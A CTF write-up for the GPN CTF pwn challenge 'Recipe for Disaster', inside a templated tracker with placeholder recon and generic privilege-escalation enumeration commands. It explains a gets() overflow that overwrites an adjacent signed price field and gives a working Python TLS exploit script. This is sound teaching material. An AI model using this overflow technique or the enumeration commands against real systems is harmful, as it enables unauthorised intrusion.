Recipe for Disaster
Recipe for Disaster
Platform: GPN CTF | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-30 | Status: Solved Techniques: gets_exploitation, intra_struct_field_overwrite, little_endian_overwrite, signed_integer_underflow, tls_socket_pwn
Summary
Task: x86-64 food-ordering pwn binary uses gets() to read a chef note into a fixed 32-byte struct field that is directly followed by int price. Solution: overflow note by 4 bytes to set the item's own price to 0x80000000 (-2147483648), making the running total negative, which passes the verify_total(total < 0) gate and triggers print_coupon() leaking /flag. Service is TLS-wrapped, connected via Python ssl socket.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
gpnctf| ID:20240530_gpnctf_recipe_for_disaster - Tags: buffer_overflow, gets, tls, pwn, struct_overwrite, integer_sign
- Indicators: gets(cur->note) unbounded write into 32-byte field, char note[32] immediately followed by int price in struct, verify_total checks total < 0 to print flag, service served over TLS (ncat --ssl, port 443)
- Source:
20240530_gpnctf_recipe_for_disaster.md
Foothold
Vulnerability / Misconfiguration
- Gets_exploitation
- Intra_struct_field_overwrite
- Little_endian_overwrite
- Signed_integer_underflow
- Tls_socket_pwn
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- gets_exploitation
- intra_struct_field_overwrite
- little_endian_overwrite
- signed_integer_underflow
- tls_socket_pwn
- Tags: buffer_overflow, gets, tls, pwn, struct_overwrite, integer_sign
Original Writeup
<details><summary>Click to expand original content</summary>Description
Are you hungry? If so, I have this awesome food ordering app for you. I only ask you not to break it.
A food-ordering CLI app. Source challenge.c and a dynamically-linked, non-stripped x86-64 ELF (challenge) with debug info are provided. The remote service is served over TLS and reached with ncat --ssl <host> 443. Goal: trigger the flag-printing path.
Analysis
The relevant struct and logic from challenge.c:
typedef struct {
char item[32]; // offset 0
char note[32]; // offset 32
int price; // offset 64
} Item;
void verify_total(int total) {
if (total < 0) { // <-- win condition
puts("[SYSTEM] Pricing error detected! ...");
print_coupon(); // opens and prints /flag
exit(0);
}
...
}
void take_order(void) {
Item order[10];
...
strncpy(cur->item, MENU[choice-1].name, sizeof(cur->item)-1);
cur->price = MENU[choice-1].price;
printf("Any note for the chef? ...\n> ");
gets(cur->note); // VULN: unbounded write into note[32]
...
int total = calculate_total(order, n_items);
verify_total(total); // total += each item's price
}
Key observations:
- Win path.
verify_total(total)callsprint_coupon()(which reads and prints/flag) only whentotal < 0.totalis a signedint, the sum of each ordered item'sprice. - The bug.
gets(cur->note)is an unbounded write into the 32-bytenotefield. This is the classicgets()overflow — but here it does NOT need to reach the saved return address. - Struct adjacency. Inside the same
Item,int pricesits immediately afterchar note[32](struct offset 64). Writing 32 bytes to fillnoteplus 4 more bytes overwrites this item's ownprice— an intra-struct field overwrite, not a stack-smash. - Sign trick.
priceis a signedint. Setting it to0x80000000makes it-2147483648. With a single item, the runningtotalbecomes negative, satisfyingtotal < 0. - Theme / red herring. The source comment about an intern worrying "the sum might overflow" and menu items named after CTF vuln classes are flavor: the real primitive is the field overwrite, and we make the total negative directly rather than via summation overflow.
getsreads until newline, so embedded NUL bytes in0x80000000are fine.
So: order one item, give a 36-byte note that fills note[32] and overwrites price with little-endian 0x80000000, finish the order. No ROP, no canary leak, no stack pivot.
Solution
Steps against the menu-driven program:
- Order item 1 → send
1. - For the note, send
b"A"*32 + b"\x00\x00\x00\x80"— 32 bytes fillnote, the next 4 bytes land onprice(little-endian0x80000000=-2147483648). - Finish ordering → send
0. - Receipt prints
TOTAL $-2147483648, then[SYSTEM] Pricing error detected!, thenprint_coupon()leaks/flag.
The service is TLS-wrapped, so we wrap a raw socket with Python's ssl (no pwntools needed). The standard alternative is pwntools remote(host, 443, ssl=True) or ncat --ssl host 443.
#!/usr/bin/env python3
import ssl, socket
HOST = "<remote host>"
PORT = 443
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(socket.create_connection((HOST, PORT)), server_hostname=HOST)
def recv_until(token: bytes, timeout: float = 5.0) -> bytes:
s.settimeout(timeout)
buf = b""
try:
while token not in buf:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
except socket.timeout:
pass
return buf
# 1) order item 1
recv_until(b">")
s.sendall(b"1\n")
# 2) note overflow: 32 bytes fill note[32], next 4 bytes set price = 0x80000000 = -2147483648
recv_until(b">")
s.sendall(b"A" * 32 + b"\x00\x00\x00\x80" + b"\n")
# 3) finish ordering -> TOTAL goes negative -> verify_total(total < 0) -> print_coupon() -> /flag
recv_until(b">")
s.sendall(b"0\n")
print(recv_until(b"GPNCTF{").decode(errors="replace"))
print(s.recv(4096).decode(errors="replace"))
Running it yields the receipt with TOTAL $-2147483648, the pricing-error message, and the flag.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR